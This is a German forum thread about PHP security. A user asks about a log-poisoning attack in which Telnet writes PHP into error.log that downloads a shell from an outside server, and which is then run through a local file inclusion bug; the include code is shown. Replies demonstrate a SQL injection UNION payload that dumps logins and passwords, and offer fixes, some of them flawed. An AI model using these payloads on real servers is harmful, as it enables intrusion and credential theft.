Sicherheit in PHP Scripten



  • Hallo ich hab mir ein Video angeschaut wo erklärt wird wie man über Telnet PHP Code in die error.log Datei schreiben, kann um so z.b. beliebigen PHP Code auf dem Server ausführen kann.

    Dann schreibt der da als beispiel:

    GET/<?php datei=fopen("shell.txt","w+");datei = fopen("shell.txt","w+");stream = fopen("http://irgendein_server/shell.txt", "r");while(!feof(stream)){shell .= fgets(stream);}fwrite(datei,shell);fclose(shell);fclose(stream);fclose($datei);?>

    Meine Frage ist jetzt wofür das GET/ denn es funktioniert auch ohne.
    Und was genau passiert wenn ich diesen Text:

    <?php datei=fopen("shell.txt","w+");datei = fopen("shell.txt","w+");stream = fopen("http://irgendein_server/shell.txt", "r");while(!feof(stream)){shell .= fgets(stream);}fwrite(datei,shell);fclose(shell);fclose(stream);fclose($datei);?>

    Im Telnet eingebe ?

    Ich hab keine Ahnung wonach ich da Googeln sollte.
    Etwas nach Telnet GET Request?
    Und ist es dann überhaupt noch ein GET Request wenn ich das GET gar nicht davor schreibe ?



  • seq schrieb:

    Hallo ich hab mir ein Video angeschaut wo erklärt wird wie man über Telnet PHP Code in die error.log Datei schreiben, kann um so z.b. beliebigen PHP Code auf dem Server ausführen kann.

    Das der PHP Code in die error.log geschrieben wird kann ich nachvollziehen, aber warum sollte der ausgeführt werden?

    Das mit dem Telnet zum Webserver verbinden ist doch nichts anderes als wenn du mit deinem Browser auf "http://deinserver/<?php ... ?>" gehst (Dein Browser sendet auch GET um eine Seite anzufordern). Es kann höchstens passieren, dass der Browser irgendwelche Sonderzeichen ersetzt. Da die gesuchte Seite nicht existiert wird ein Eintrag in die error.log geschrieben in der Art "<?php ...?> nicht gefunden".

    Du solltest die error.log dann natürlich nicht durch den PHP Interpreter jagen, aber das macht eh keinen Sinn.



  • Hier durch wird die auf dem Server ausgeführt:

    http://localhost/test.php?vulnvar=../apache/logs/error.log

    Und die Shell wird im htdocs Verzeichniss angelegt.



  • oops hab was vergessen sry.

    So sieht der Verwundbare Code aus:

    <?php
    if (isset($_GET['vulnvar']))
    	{
    	include ($_GET['vulnvar']);
    	}
    
    	else
    	{
    	echo "kein wert bekommen";
    	}
    
    ?>
    


  • seq schrieb:

    oops hab was vergessen sry.

    So sieht der Verwundbare Code aus:

    <?php
    if (isset($_GET['vulnvar']))
    	{
    	include ($_GET['vulnvar']);
    	}
    
    	else
    	{
    	echo "kein wert bekommen";
    	}
    
    ?>
    

    ja, das ist natürlich richtig böse und jeder, der das so im Betrieb, sollte sich nochmal mit Websicherheit auseinandersetzen



  • Ich glaube kaum das man so etwas in der Praxis findet. ^^



  • seq schrieb:

    Ich glaube kaum das man so etwas in der Praxis findet. ^^

    Du irrst dich gewaltig!



  • BBBB schrieb:

    seq schrieb:

    Ich glaube kaum das man so etwas in der Praxis findet. ^^

    Du irrst dich gewaltig!

    Quelle?



  • RandomAccess85 schrieb:

    Quelle?

    Erfahrung

    Ehrlich, was soll das? Muss hier jede Aussage bequellt werden? Soll ich jetzt mit Google irgendeinen Text eines gelangweilten ITlers suchen, der diese Aussage stützt? Notfalls verfass ich den Text selbst, dann hast du deine Quelle. Ändert nichts daran, dass es auf der Erfahrung anderer fußt.
    Oder ich frag Brockhaus, ob sie einen Artikel über "schlimmste PHP-konstrukte, die in der Praxis vorkommen" anlegen, dann hast du sogar was seriöses.



  • Moha ich fass es nicht! Erst schreien alle rum wenn jemand belanglosen Mist in irgendwelche Thread's postet und jetzt werden solche Leute auch noch unterstützt -.- ... irgendwas läuft hier mächtig schief!

    Zudem ist es ja wohl mein Recht nach Quellen zu Fragen die seine Aussage stützen, denn ich glaube nicht dass es sehr viele Leute gibt, die einen include auf diesem Wege verwenden! Ein praktisches Beispiel dafür hab ich auch noch nicht gesehen! Und der Verwendungszweck würde allerhöchstens in ein CMS passen, ist aber sonst absolut schwachsinnig!!!

    Bye



  • Da braucht mein keine Quelle, das ist logisch. Wie zwutz schon sagt spätestens wenn deine Datenbank manipuliert wurde sammelst du erfahrungen.

    Hier ein Beispeil wenn man zb. einen User aus einer DB auslesen will:
    (Angezeigt werden soll der User mit der ID 42)

    Im Browser wird aufgerufen: http://webserver/find.php?ID=42

    <?php
    if (isset($_GET['id'])) {
        $user_id = $_GET['id'];
        $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID='.$user_id.'");
    } else {
        echo "kein wert bekommen";
    }
    
    ?>
    

    Ausgeführeter SQL-Code:

    SELECT author, subject, text FROM artikel WHERE ID=42
    

    Der Angreifer ruft im Browser folgendes auf: http://webserver/find.php?ID=42+UNION+SELECT+login,+password,+'x'+FROM+user

    <?php
    if (isset($_GET['id'])) {
        $user_id = $_GET['id'];
        $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID='.$user_id.'");
    } else {
        echo "kein wert bekommen";
    }
    
    ?>
    

    Ausgeführeter SQL-Code:

    SELECT author, subject, text FROM artikel WHERE ID=42 UNION SELECT login, password, 'x' FROM user
    

    Richtig wäre es jetzt zb. so:

    <?php
    if (isset($_GET['id']) AND $_GET['id'] == '42') {
        $user_id = $_GET['id'];
        $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID='.$user_id.'");
    } else {
        echo "kein wert bekommen";
    }
    
    ?>
    

    Der Angreifer gibt im Browser folgendes ein: http://webserver/find.php?ID=42+UNION+SELECT+login,+password,+'x'+FROM+user

    Ausgeführeter SQL-Code:

    SELECT author, subject, text FROM artikel WHERE ID=42
    

    Ergebniss:
    kein wert bekommen

    Fazit:
    IMMER GET und POST prüfen!

    Man sollte sich als jedes mal die Mühe machen und prüfen ob der übergebene Wert auch erlaubt ist bzw. existiert.

    In dem Beispiel von seq wäre es dann so richtig:
    (Es soll zb. die Datei home.php aufgerufen werden.)

    <?php
    if (isset($_GET['vulnvar']) AND $_GET['vulnvar'] == 'home')
        {
        include ('home.php');
        }
    
        else
        {
        echo "kein wert bekommen";
        }
    
    ?>
    

    Ich hoffe das war verständlich.

    Gruß Nordin



  • Aeh, ist eine Ueberpruefung auf uebergebene Variablen nicht sinnlos, wenn das Ergebnis schon feststeht? 🙄

    Na, jedenfalls waere mein Loasungsvorschlag fuer die ID-Geschichte in der Datenbank:

    if(isset($_GET['id']) && is_numeric($_GET['id'])) {
        //...
    }
    

    Und fuer die CMS-Geschichte:

    if(isset($_GET['page']) && file_exists($cms_folder.trim(str_replace("/","",$_GET['page'])))) {
        //...
    }
    


  • Aeh, ist eine Ueberpruefung auf uebergebene Variablen nicht sinnlos, wenn das Ergebnis schon feststeht?

    Naja, nicht unbedingt... wenn ich einen user auslesen lassen will... dann hat mann bestimmt auch vor zu prüfen ob er existiert... in diesem fall muss ich natürlich auch überprüfen ob der übergebene parameter in der db existiert.

    Aber ich galube wie man das dann letzen endes anstellt liegt daran was benötigt wird bzw. was man vor hat.



  • heini meinte eigentlich, dass dies hier:

    <?php 
    if (isset($_GET['id']) AND $_GET['id'] == '42') { 
        $user_id = $_GET['id']; 
        $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID='.$user_id.'"); 
    } else { 
        echo "kein wert bekommen"; 
    } 
    
    ?>
    

    ziemlicher Nonsense ist, da gleichwertig mit

    <?php 
    $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID=42"); 
    ?>
    

    😉



  • wieso lese ich im Topic etwas über sicherheit und in den antworten ist alles angreifbar?

    außer vielleicht das hier 😃

    <?php
    $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID=42");
    ?>
    


  • Es geht über die Manipulation einer Seite bz. DB über GET und POST und das man GET und POST überprüfen und ggf. entwerten sollte!
    Es geht nicht über die Art und Weise wie man den Parameter übergibt oder wie man es in der Datenbank Abfragt... Das allein ist geschmacksache und man kann sich steriten... da hat jeder seinen eigenen Stil.

    Wenn wir damit weitermachen wollen kann ich auch noch gern mysql_escape_string() in den Raum werfen oder eventuell noch eine kleine XSS-Klasse die alle POSTs und GETs entwertet.

    Aber soweit wollte ich nicht gehen *g*

    Also bitte nicht über sinn und unsinn der weitergabe reden sonder darüber was sicher und was unsicher ist...

    Das mit der UserID war ein Beispiel und dies speziell über ein dynamisches und kein statisches php-script!
    Wenn also eine ID über Get übergeben wird, weil der User vielleicht eine Liste mit Benutzernamen vor sich hat und dort einen Benutzer aus der Liste klickt, wird bei jedem Aufruf der Datei http://webserver/find.php die ID übergeben... ich wäre ja nicht grad clever wenn ich es statisch also wie folgt machen würde:

    <?php
    $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID=42");
    ?>
    

    Denn dann müsste ich ja für jeden user eine Datei eanlegen:

    http://webserver/find_user_id_1.php
    http://webserver/find_user_id_2.php
    http://webserver/find_user_id_3.php
    http://webserver/find_user_id_4.php
    .......
    http://webserver/find_user_id_42.php
    http://webserver/find_user_id_43.php
    .......
    

    Da es aber dynamisch sein wird (sonst brauche ich ja keine Parameter über get oder post übergeben) reicht eine Datei

    http://webserver/find.php
    

    in der ich des GET/POST üperprüfe.

    Ich denke damit sind wir wieder beim Thema:

    Sicherheit in PHP Scripten - Speziell: GET und POST



  • Ich weiß ich darf es nicht, aber....

    @Nordin: 😕 Wer lesen kann... (den Rest wirst du ja kennen) 🙂

    LG



  • Ja, man kann natuerlich auch mit Kanonen auf Spatzen schiessen:

    function entschaerfen($str) {
        return mysql_real_escape_string(trim(preg_replace("~[\\/´`'\"]~","",$str)));
    }
    
    /* Alle uebergebenen Parameter entschaerfen */
    foreach($_GET as $g) {
        $g=entschaerfen($g);
    }
    
    /* Auf Nummern pruefen und ID raussuchen */
    if(isset($_GET['id']) && is_numeric($_GET['id']) && ($res=mysql_query("select * from t_user where id=".$_GET['id']." limit 1;")!==false) {
        //...
    }
    
    /* Fuers CMS */
    if(isset($_GET['page']) && file_exists($cms_dir.$_GET['page'])) {
        //...
    }
    

    Und auch das waere noch erweiterbar. Ich wuesste nicht, wo das noch angreifbar waere, ausser es hackt sich jemand wirklich in den Webserver ein, aber das sichert man ja mit ganz anderen Mitteln ab. Eine Firewall in PHP zu schreiben waere etwa so sinnvoll wie einen Toaster mit Windows 7 auszustatten. 🙄



  • @heini
    Ja das wäre schon die Crème de la Crème *g* aber ein noob versteht da jetzt sicher nur noch bahnhof 😃
    Darum wollte ich ja nicht ganz soweit gehen, sondern RandomAccess85 nur kurz erklären warum es schlimm ist wenn man nicht get und post überprüft... 😉

    RandomAccess85 schrieb:

    Ich weiß ich darf es nicht, aber....

    @Nordin: 😕 Wer lesen kann... (den Rest wirst du ja kennen) 🙂

    LG

    Öhm... wie meinen?? Ich versteh nicht?!



  • Nordin schrieb:

    RandomAccess85 schrieb:

    Ich weiß ich darf es nicht, aber....

    @Nordin: 😕 Wer lesen kann... (den Rest wirst du ja kennen) 🙂

    LG

    Öhm... wie meinen?? Ich versteh nicht?!

    Hallo,

    es ging mir lediglich um das äußerst anfällige include welches auf Seite 1 dieses Threads besprochen wurde, und ich war der Meinung dass sich deine Aussage auf selbiges bezog. Daher wollte wissen welche Quellen du besitzt, die dir bestätigen dass ein "include($_GET['myVariable']);" häufiger als erwartet verwendet wird...

    LG, Micha


Anmelden zum Antworten